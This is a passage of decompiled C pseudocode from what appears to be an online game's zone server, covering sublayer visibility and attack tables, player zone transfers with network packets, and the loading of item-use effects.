path[128]; // [sp+3Ch] [bp-108E4h]@1 OptionReader or; // [sp+BCh] [bp-10864h]@1 unsigned int cookie; // [sp+10910h] [bp-10h]@12 int v29; // [sp+1091Ch] [bp-4h]@1 OptionReader::OptionReader(&or); v2 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v3 = *(_DWORD *)&world->n4_name[8]; v22 = v2; v4 = *(_DWORD *)&world->n4_name[12]; v23 = v3; v29 = 0; v24 = v4; v25 = 0; sprintf(path, "../9Data/Shine/World/%s/SubLayerInteractLoader.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Shine/World/SubLayerInteract.txt"); rst = OptionReader::or_Read(&or, path); v5 = OptionReader::or_ErrorLine(&or); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "SubLayerInteractLoader::slil_Load : Error in SubLayer Table", v5); ShineExit("SubLayer::SubLayerInteractLoader::slil_Load"); } } v6 = 0; me = 0; v7 = 0; while ( 1 ) { v17 = v6; v20 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "SendMyBrief", 0x14u); v8 = OptionReader::or_SelectFromOrder(&or, v12, v17); v17 = v6; v9 = v8; v20 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "CanAttack", 0x14u); v10 = OptionReader::or_SelectFromOrder(&or, v12, v17); if ( *(_BYTE *)v9 != *((_BYTE *)v9 + 27) || *(_BYTE *)v10 != *((_BYTE *)v10 + 27) ) { AssertClass::ac_AssertFail(&shineassert, "9Data/Shine/World/SubLayerInteractLoader.txt struct mismatch", 0); ShineExit("SubLayer::SubLayerInteractLoader::slil_Load"); } sublayerview[v7] = *((_BYTE *)v9 + 21); sublayerattack[v7] = *((_BYTE *)v10 + 21); byte_CA62D2D[v7] = *((_BYTE *)v9 + 22); byte_CA62D55[v7] = *((_BYTE *)v10 + 22); byte_CA62D2E[v7] = *((_BYTE *)v9 + 23); byte_CA62D56[v7] = *((_BYTE *)v10 + 23); byte_CA62D2F[v7] = *((_BYTE *)v9 + 24); byte_CA62D57[v7] = *((_BYTE *)v10 + 24); byte_CA62D30[v7] = *((_BYTE *)v9 + 25); byte_CA62D58[v7] = *((_BYTE *)v10 + 25); byte_CA62D31[v7] = *((_BYTE *)v9 + 26); v11 = me; byte_CA62D59[v7] = *((_BYTE *)v10 + 26); v7 += 6; me = v11 + 1; if ( v7 >= 36 ) break; v6 = me; } v29 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (0046FB30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanSee(int this, int flag) { char result; // al@2 if ( flag ) { result = *(&sublayerview[6 * *(_BYTE *)(*(_DWORD *)(this + 94) + 4)] + *(_BYTE *)(*(_DWORD *)(flag + 94) + 4)); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SubLayer_CanSee NULL Parameter", 0); result = 0; } return result; } //----- (0046FB70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanAttack(void *this, int a2) { void *v2; // edi@1 int v3; // eax@2 v2 = this; if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)a2 + 988))(a2, 199) ) LOBYTE(v3) = 0; else v3 = (unsigned __int8)*(&sublayerattack[6 * *(_BYTE *)(*(_DWORD *)((char *)v2 + 94) + 4)] + *(_BYTE *)(*(_DWORD *)(a2 + 94) + 4)); return v3; } //----- (0046FBB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_Dispel(#331 *this, #331 *lnkinf, SmashArgument *arg, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int attrbit) { return 0; } //----- (0046FBC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_LinkTo(void *sp, int lnkinf, __int16 machine, int cmd_sameserver, int cmd_otherserver) { int v5; // ebp@1 signed int v6; // edi@1 int v7; // eax@1 int v8; // ebx@1 RollBackPosCallBackEvent *v9; // esi@1 void *v10; // esi@9 int v11; // eax@10 int v13; // ST08_4@17 unsigned int v14; // ST04_4@17 char *v15; // eax@17 int v16; // eax@17 int v17; // eax@22 int v18; // edx@22 char *v19; // esi@22 int v20; // edi@22 int v21; // eax@22 ZoneBaseSession *v22; // eax@24 int v23; // ecx@30 int v24; // eax@30 int v25; // edx@30 char *v26; // esi@31 int v27; // eax@31 char v28; // al@31 int v29; // eax@32 char *v30; // esi@34 Name4 *v31; // edi@34 char v32; // al@35 ZoneBaseSession *v33; // eax@36 FunctionEntarance _; // [sp+18h] [bp-18h]@1 int oldxy; // [sp+1Ch] [bp-14h]@22 int v36; // [sp+20h] [bp-10h]@22 int v37; // [sp+2Ch] [bp-4h]@1 int lnkinfa; // [sp+34h] [bp+4h]@17 v5 = (int)sp; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_LinkTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_LinkTo"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v37 = 0; v7 = ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(v5); v8 = lnkinf; v9 = (RollBackPosCallBackEvent *)v7; if ( v7 && (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 8))(v7) == 1 ) { memcpy((void *)lnkinf, RollBackPosCallBackEvent::GetLinkData(v9), 0x65u); ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(v5, 0); v6 = -1; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1136))(v5) == 4 ) (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1140))(v5); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1136))(v5) != 1 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 1136))(v5) != 2 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 1136))(v5) != 6 ) goto LABEL_19; v10 = *(void **)(v5 + 68295); if ( v10 ) { v11 = *(_DWORD *)(v5 + 98); if ( v11 && *(_BYTE *)(*(_DWORD *)(v11 + 12) + 54) == 3 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 804))(v5) ) { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v5 + 1000))(v5, lnkinf, 0); } else { ShineObjectClass::ShineObject::so_CloseTradeMenu((void *)v5); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 772))(v5, 19, 11); ShineObjectClass::ShineObject::so_CloseTradeMenu(v10); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v10 + 772))(v10, 19, 12); (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v5 + 1000))(v5, lnkinf, 0); } } goto LABEL_19; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v5 + 57768) + 16))(v5 + 57768) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : Link during item operation", 0); --funcallanalizer.fca_stackpoint; v37 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); return 0; } v13 = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; v14 = BTree::operator__(&fieldserial, (const char *)(lnkinf + 20)); v15 = ZoneServer::zs_GetServerGroup(&zoneserver); v16 = FieldOption::fo_GetMechineNumber(&this, v15, v14, v13); lnkinfa = v16; if ( v16 == v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : machine number", v16); LABEL_19: --funcallanalizer.fca_stackpoint; v37 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); return 0; } if ( v16 == 99 ) lnkinfa = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; ZoneServer::zs_GetServerGroup(&zoneserver); v17 = *(_DWORD *)(v5 + 78); v18 = *(_DWORD *)(v17 + 4); v19 = gpp.pp_Buffer; v20 = *(_DWORD *)(v5 + 98); oldxy = *(_DWORD *)v17; *(_WORD *)gpp.pp_Buffer = 6155; v21 = *(_DWORD *)v5; v36 = v18; *((_WORD *)v19 + 1) = (*(int (__thiscall **)(int))(v21 + 832))(v5); *((_DWORD *)v19 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v22); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 8); } if ( lnkinfa == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { if ( cmd_sameserver == 79 ) (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 828))(v5, 3, 1, 2); else (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v5 + 828))(v5, 0, 1, 2); Name3::operator_((Name3 *)(v5 + 32116), (const char *)(v8 + 20)); **(_DWORD **)(v5 + 78) = *(_DWORD *)(v8 + 86); *(_DWORD *)(*(_DWORD *)(v5 + 78) + 4) = *(_DWORD *)(v8 + 90); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1196))(v5); **(_BYTE **)(v5 + 3716) = 0; if ( ShineObjectClass::ShineObject::so_MapMarking(v5, 0) ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v5 + 1464))(v5, 1669, 0, 0); *(_DWORD *)(v5 + 98) = v20; *(_DWORD *)(v5 + 32116) = *(_DWORD *)v20; *(_DWORD *)(v5 + 32120) = *(_DWORD *)(v20 + 4); v23 = oldxy; *(_DWORD *)(v5 + 32124) = *(_DWORD *)(v20 + 8); v24 = *(_DWORD *)(v5 + 78); v25 = v36; *(_DWORD *)v24 = v23; *(_DWORD *)(v24 + 4) = v25; (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1196))(v5); v37 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v26 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = (machine << 10) ^ cmd_sameserver & 0x3FF; *((_WORD *)v26 + 1) = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)(v8 + 53)); v27 = *(_DWORD *)(v5 + 78); *((_DWORD *)v26 + 1) = *(_DWORD *)v27; *((_DWORD *)v26 + 2) = *(_DWORD *)(v27 + 4); v28 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v28, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 12) ) { v29 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v29 + 12))(v29, v5, &gpp); } *(_DWORD *)(v5 + 31872) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; v37 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { WholeSaver::ws_save2DB(&wholesaver, (#331 *)v5, 0, 2); WholeSaver::ws_save2worldmanager(&wholesaver, (#440 *)v5); **(_BYTE **)(v5 + 3716) = 0; v30 = gpp.pp_Buffer; v31 = (Name4 *)(gpp.pp_Buffer + 41); if ( ZoneIPContainer::zipc_Mechine2IP( &zipc, lnkinfa, (Name4 *)(gpp.pp_Buffer + 41), (unsigned __int16 *)(gpp.pp_Buffer + 57)) ) { NameString::operator__(&namestring, v31); *(_WORD *)v30 = 6157; *((_DWORD *)v30 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v30 + 1) = *(_WORD *)(v5 + 4); *((_WORD *)v30 + 4) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 832))(v5); v30[10] = lnkinfa; Name3::operator_((Name3 *)(v30 + 11), (const char *)(v8 + 20)); *(_DWORD *)(v30 + 23) = *(_DWORD *)(v8 + 86); *(_DWORD *)(v30 + 27) = *(_DWORD *)(v8 + 90); *(_WORD *)(v30 + 31) = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)(v8 + 53)); *(_DWORD *)(v30 + 33) = *(_DWORD *)(v8 + 86); *(_DWORD *)(v30 + 37) = *(_DWORD *)(v8 + 90); *(_WORD *)(v30 + 59) = *(_WORD *)(v5 + 89156); v32 = ProtocolPacket::pp_SetPacketLen(&gpp, 61); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v32, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 61) ) { v33 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v33); } } *(_BYTE *)(v5 + 23324) |= 2u; --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); } return 1; } // 4460A0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); // 603218: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); //----- (00470150) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_REVIVEOTHER_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_WORD *)(this + 8) = *(_WORD *)(a2 + 8); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_WORD *)(this + 26) = *(_WORD *)(a2 + 26); *(_WORD *)(this + 28) = *(_WORD *)(a2 + 28); return result; } //----- (004701A0) -------------------------------------------------------- #error "4701A0: undefined or illegal type '#331' (funcsize=113)" //----- (00470320) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanItemMakeItem(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@2 int v5; // edx@4 int v6; // eax@4 int *uii; // [sp+4h] [bp-28h]@4 int v9; // [sp+8h] [bp-24h]@4 int v10; // [sp+Ch] [bp-20h]@4 int ibie; // [sp+10h] [bp-1Ch]@1 char *v12; // [sp+14h] [bp-18h]@1 int v13; // [sp+1Ch] [bp-10h]@4 int v14; // [sp+28h] [bp-4h]@4 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1156))(); v3 = (int)((char *)v1 + 35568); ibie = (int)ItemBoxIterator::_vftable_; v12 = (char *)v1 + 35568; if ( v2 ) v4 = (*(int (__stdcall **)(int))(*(_DWORD *)v3 + 4))(v2); else v4 = (*(int (**)(void))(*(_DWORD *)v3 + 8))(); v13 = v4; ibie = (int)&ItemBoxIterEmpty::_vftable_; v5 = *(_DWORD *)v1; v14 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 1916))(v1); uii = &ibie; v9 = v6; v10 = 9; return InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) != 0 ? 1792 : 1821; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (004703E0) -------------------------------------------------------- void __thiscall ItemUseFunction::iuf_Load(ItemUseFunction *this) { char v1; // bl@1 int v2; // eax@1 int v3; // eax@4 int v4; // edi@4 int v5; // eax@4 void *v6; // eax@5 void *v7; // edi@5 unsigned int v8; // eax@5 signed int v9; // ebp@5 int v10; // edi@10 int v11; // eax@10 int v12; // ecx@10 int v13; // edx@10 UseEffect::UseItemBase *v14; // ebx@20 char *v15; // eax@53 SkillDataBox::SkillDataIndex *v16; // eax@55 ORToken v17; // [sp-18h] [bp-10A20h]@5 ORToken v18; // [sp-14h] [bp-10A1Ch]@4 int v19; // [sp-10h] [bp-10A18h]@4 int v20; // [sp-Ch] [bp-10A14h]@4 int v21; // [sp-8h] [bp-10A10h]@4 int v22; // [sp-4h] [bp-10A0Ch]@4 signed int fnc; // [sp+10h] [bp-109F8h]@4 ORToken *item; // [sp+14h] [bp-109F4h]@5 int k; // [sp+18h] [bp-109F0h]@4 char *skill; // [sp+1Ch] [bp-109ECh]@10 int _; // [sp+20h] [bp-109E8h]@10 int v28; // [sp+24h] [bp-109E4h]@10 int v29; // [sp+28h] [bp-109E0h]@10 int v30; // [sp+2Ch] [bp-109DCh]@10 int v31; // [sp+30h] [bp-109D8h]@10 char LicenceClear[4]; // [sp+34h] [bp-109D4h]@4 int v33; // [sp+38h] [bp-109D0h]@4 int v34; // [sp+3Ch] [bp-109CCh]@4 int v35; // [sp+40h] [bp-109C8h]@4 int v36; // [sp+44h] [bp-109C4h]@4 char StatClearStat[4]; // [sp+48h] [bp-109C0h]@4 int v38; // [sp+4Ch] [bp-109BCh]@4 int v39; // [sp+50h] [bp-109B8h]@4 int v40; // [sp+54h] [bp-109B4h]@4 int v41; // [sp+58h] [bp-109B0h]@4 char StatClearEmpow[4]; // [sp+5Ch] [bp-109ACh]@4 int v43; // [sp+60h] [bp-109A8h]@4 int v44; // [sp+64h] [bp-109A4h]@4 int v45; // [sp+68h] [bp-109A0h]@4 int v46; // [sp+6Ch] [bp-1099Ch]@4 char UseSilverWings[4]; // [sp+70h] [bp-10998h]@4 int v48; // [sp+74h] [bp-10994h]@4 int v49; // [sp+78h] [bp-10990h]@4 int v50; // [sp+7Ch] [bp-1098Ch]@4 int v51; // [sp+80h] [bp-10988h]@4 char Dash[4]; // [sp+84h] [bp-10984h]@4 int v53; // [sp+88h] [bp-10980h]@4 int v54; // [sp+8Ch] [bp-1097Ch]@4 int v55; // [sp+90h] [bp-10978h]@4 int v56; // [sp+94h] [bp-10974h]@4 char MemoryFeather[4]; // [sp+98h] [bp-10970h]@4 int v58; // [sp+9Ch] [bp-1096Ch]@4 int v59; // [sp+A0h] [bp-10968h]@4 int v60; // [sp+A4h] [bp-10964h]@4 int v61; // [sp+A8h] [bp-10960h]@4 char NoEffect[4]; // [sp+ACh] [bp-1095Ch]@4 int v63; // [sp+B0h] [bp-10958h]@4 int v64; // [sp+B4h] [bp-10954h]@4 int v65; // [sp+B8h] [bp-10950h]@4 int v66; // [sp+BCh] [bp-1094Ch]@4 char Propose[4]; // [sp+C0h] [bp-10948h]@4 int v68; // [sp+C4h] [bp-10944h]@4 int v69; // [sp+C8h] [bp-10940h]@4 int v70; // [sp+CCh] [bp-1093Ch]@4 int v71; // [sp+D0h] [bp-10938h]@4 char AmountHP[4]; // [sp+D4h] [bp-10934h]@4 int v73; // [sp+D8h] [bp-10930h]@4 int v74; // [sp+DCh] [bp-1092Ch]@4 int v75; // [sp+E0h] [bp-10928h]@4 int v76; // [sp+E4h] [bp-10924h]@4 char IM_Divorce[4]; // [sp+E8h] [bp-10920h]@4 int v78; // [sp+ECh] [bp-1091Ch]@4 int v79; // [sp+F0h] [bp-10918h]@4 int v80; // [sp+F4h] [bp-10914h]@4 int v81; // [sp+F8h] [bp-10910h]@4 char AmountMP[4]; // [sp+FCh] [bp-1090Ch]@4 int v83; // [sp+100h] [bp-10908h]@4 int v84; // [sp+104h] [bp-10904h]@4 int v85; // [sp+108h] [bp-10900h]@4 int v86; // [sp+10Ch] [bp-108FCh]@4 char BossMobDetect[4]; // [sp+110h] [bp-108F8h]@4 int v88; // [sp+114h] [bp-108F4h]@4 int v89; // [sp+118h] [bp-108F0h]@4 int v90; // [sp+11Ch] [bp-108ECh]@4 int v91; // [sp+120h] [bp-108E8h]@4 char buf[128]; // [sp+124h] [bp-108E4h]@53 OptionReader or; // [sp+1A4h] [bp-10864h]@1 unsigned int cookie; // [sp+109F8h] [bp-10h]@57 int v95; // [sp+10A04h] [bp-4h]@1 OptionReader::OptionReader(&or); v95 = 0; v1 = OptionReader::or_Read(&or, "../9Data/Shine/World/ItemUseFunction.txt"); v2 = OptionReader::or_ErrorLine(&or); if ( !v1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemUseFunction::iuf_Load : Option read error", v2); ShineExit("ItemUseFunction::iuf_Load"); } fnc = (signed int)&v18; v22 = 0; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)&v18.ort_Name[0] = 0; strncpy(v18.ort_Name, "ItemUseFunction", 0x14u); v3 = OptionReader::or_SelectCountFrom(&or, v18); v4 = v3; fnc = v3; v56 = 0; v55 = 0; v54 = 0; v53 = 0; *(_DWORD *)Dash = 0; strncpy(Dash, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); v51 = 0; v50 = 0; v49 = 0; v48 = 0; *(_DWORD *)UseSilverWings = 0; strncpy(UseSilverWings, "UseSilverWings", 0x14u); v41 = 0; v40 = 0; v39 = 0; v38 = 0; *(_DWORD *)StatClearStat = 0; strncpy(StatClearStat, "StatClearStat", 0x14u); v46 = 0; v45 = 0; v44 = 0; v43 = 0; *(_DWORD *)StatClearEmpow = 0; strncpy(StatClearEmpow, "StatClearEmpow", 0x14u); v36 = 0; v35 = 0; v34 = 0; v33 = 0; *(_DWORD *)LicenceClear = 0; strncpy(LicenceClear, "LicenceClear", 0x14u); v76 = 0; v75 = 0; v74 = 0; v73 = 0; *(_DWORD *)AmountHP = 0; strncpy(AmountHP, "AmountHP", 0x14u); v86 = 0; v85 = 0; v84 = 0; v83 = 0; *(_DWORD *)AmountMP = 0; strncpy(AmountMP, "AmountMP", 0x14u); v61 = 0; v60 = 0; v59 = 0; v58 = 0; *(_DWORD *)MemoryFeather = 0; strncpy(MemoryFeather, "MemoryFeather", 0x14u); v91 = 0; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)BossMobDetect = 0; strncpy(BossMobDetect, "BossMobDetect", 0x14u); v66 = 0; v65 = 0; v64 = 0; v63 = 0; *(_DWORD *)NoEffect = 0; strncpy(NoEffect, "NoEffect", 0x14u); v71 = 0; v70 = 0; v69 = 0; v68 = 0; *(_DWORD *)Propose = 0; strncpy(Propose, "Propose", 0x14u); v81 = 0; v80 = 0; v79 = 0; v78 = 0; *(_DWORD *)IM_Divorce = 0; strncpy(IM_Divorce, "IM_Divorce", 0x14u); v5 = 0; k = 0; if ( v4 > 0 ) { do { v22 = v5; item = &v17; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)&v18.ort_Name[0] = 0; *(_DWORD *)&v17.ort_Name[0] = 0; strncpy(v17.ort_Name, "ItemUseFunction", 0x14u); v6 = OptionReader::or_SelectFromOrder(&or, v17, v22); v7 = v6; v8 = BTree::operator__(&stru_12510618, (const char *)v6); v9 = 65535; if ( v8 != -1 ) v9 = v8; item = (ORToken *)v9; if ( (_WORD)v9 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemUseFunction::iuf_Load : Invalid Item", (const char *)v7); ShineExit("ItemUseFunction::iuf_Load"); } v22 = *((_BYTE *)v7 + 33); UseEffect::UsedItemEffect::uie_BroadCast(&useditemeffect, v9, v22); v10 = (int)((char *)v7 + 34); v11 = *(_DWORD *)v10; v12 = *(_DWORD *)(v10 + 4); v29 = *(_DWORD *)(v10 + 8); v13 = *(_DWORD *)(v10 + 12); v31 = *(_DWORD *)(v10 + 16); skill = "UseSkill"; _ = v11; v28 = v12; v30 = v13; if ( v11 != *(_DWORD *)Dash || v12 != v53 || v29 != v54 || v13 != v55 || v31 != v56 ) { if ( v11 != *(_DWORD *)UseSilverWings || v12 != v48 || v29 != v49 || v13 != v50 || v31 != v51 ) { if ( v11 != *(_DWORD *)StatClearStat || v12 != v38 || v29 != v39 || v13 != v40 || v31 != v41 ) { if ( v11 != *(_DWORD *)StatClearEmpow || v12 != v43 || v29 != v44 || v13 != v45 || v31 != v46 ) { if ( v11 != *(_DWORD *)LicenceClear || v12 != v33 || v29 != v34 || v13 != v35 || v31 != v36 ) { if ( ORToken::operator__((ORToken *)&_, (ORToken *)AmountHP) ) { v14 = (UseEffect::UseItemBase *)&ui_amounthp; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)AmountMP) ) { v14 = (UseEffect::UseItemBase *)&ui_amountsp; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)MemoryFeather) ) { v14 = (UseEffect::UseItemBase *)&ui_MemoryFeather; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)BossMobDetect) ) { v14 = (UseEffect::UseItemBase *)&ui_BossMobDetect; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)NoEffect) ) { v14 = (UseEffect::UseItemBase *)&ui_NoEffect; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)Propose) ) { v14 = (UseEffect::UseItemBase *)&ui_Propose; } else { if ( !ORToken::operator__((ORToken *)&_, (ORToken *)IM_Divorce) ) { v15 = ORToken::ort_GetString((ORToken *)v10, buf); AssertClass::ac_AssertFail( &shineassert, "ItemUseFunction::iuf_Load : Invalid function", v15); ShineExit("ItemUseFunction::iuf_Load"); } v14 = (UseEffect::UseItemBase *)&ui_ImmediateDivorce; } } } } } } } else { v14 = (UseEffect::UseItemBase *)&ui_LicenceClear; } } else { v14 = (UseEffect::UseItemBase *)&ui_StatClearEmpow; } } else { v14 = (UseEffect::UseItemBase *)&ui_StatClearStat; } } else { v14 = &ui_silverwing; skill = "UseSilverWings"; } v16 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, skill); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, (unsigned __int16)item, v14, v16); } v5 = k++ + 1; } while ( k < fnc ); } v95 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00470A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MagicContainerMake(void *this, int iti, char *price) { void *v3; // esi@1 ItemAttributeClass *v4; // eax@2 const char *v5; // eax@8 void *v6; // eax@8 unsigned __int16 v7; // bp@8 void *v8; // edi@8 int v9; // eax@10 unsigned int v10; // ebp@13 const char *v11; // eax@14 void *v12; // eax@14 void *v13; // edi@14 unsigned int v14; // eax@14 ItemAttributeClass *v15; // eax@16 __int16 v16; // dx@16 ItemAttributeClass *v17; // ebp@16 ItemAttributeClassVtbl *v18; // eax@16 ItemAttributeClassVtbl *v19; // edx@16 int v20; // eax@16 char *v21; // eax@18 int v22; // ecx@18 unsigned __int16 v23; // ax@18 ItemAttributeClassVtbl *v24; // edx@20 char *v25; // edi@21 int v26; // eax@21 int v27; // eax@21 int v28; // ebp@22 char *v29; // eax@25 char v30; // al@25 ZoneBaseSession *v31; // eax@26 int v32; // edi@27 ItemBagVtbl *v33; // edx@27 int v34; // eax@27 int v35; // edx@27 __int16 v36; // ax@27 int v37; // ebp@27 char *v38; // eax@27 int v39; // edi@27 int v40; // eax@27 int v41; // edx@27 int v42; // eax@27 ORToken v43; // [sp-4h] [bp-4F0h]@8 int v44; // [sp+0h] [bp-4ECh]@14 int v45; // [sp+4h] [bp-4E8h]@14 void *v46; // [sp+8h] [bp-4E4h]@14 int v47; // [sp+Ch] [bp-4E0h]@14 char *v48; // [sp+10h] [bp-4DCh]@8 const char *v49; // [sp+14h] [bp-4D8h]@8 int v50; // [sp+18h] [bp-4D4h]@8 ORToken *v51; // [sp+2Ch] [bp-4C0h]@8 ITEM_INVEN inv; // [sp+30h] [bp-4BCh]@25 void *containerstr; // [sp+34h] [bp-4B8h]@8 int k; // [sp+38h] [bp-4B4h]@13 ItemBoxIterEmpty *uii; // [sp+3Ch] [bp-4B0h]@21 int v56; // [sp+40h] [bp-4ACh]@21 int v57; // [sp+44h] [bp-4A8h]@21 FunctionEntarance _; // [sp+48h] [bp-4A4h]@1 ItemBoxIterEmpty ibie; // [sp+4Ch] [bp-4A0h]@21 ORToken *v60; // [sp+5Ch] [bp-490h]@14 char option[32]; // [sp+60h] [bp-48Ch]@16 char content; // [sp+80h] [bp-46Ch]@16 char *v63; // [sp+88h] [bp-464h]@16 TreasureChestMaker itemmaker; // [sp+F0h] [bp-3FCh]@5 unsigned int cookie; // [sp+4DCh] [bp-10h]@29 int v66; // [sp+4E8h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v66 = 0; if ( !iti || (v4 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(iti + 8))) == 0 ) { v66 = -1; LABEL_28: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); goto LABEL_29; } if ( v4->vfptr->iac_ItemClass(v4) != 15 ) goto LABEL_7; TreasureChestMaker::TreasureChestMaker(&itemmaker, *(_WORD *)(iti + 8), 6, 0); 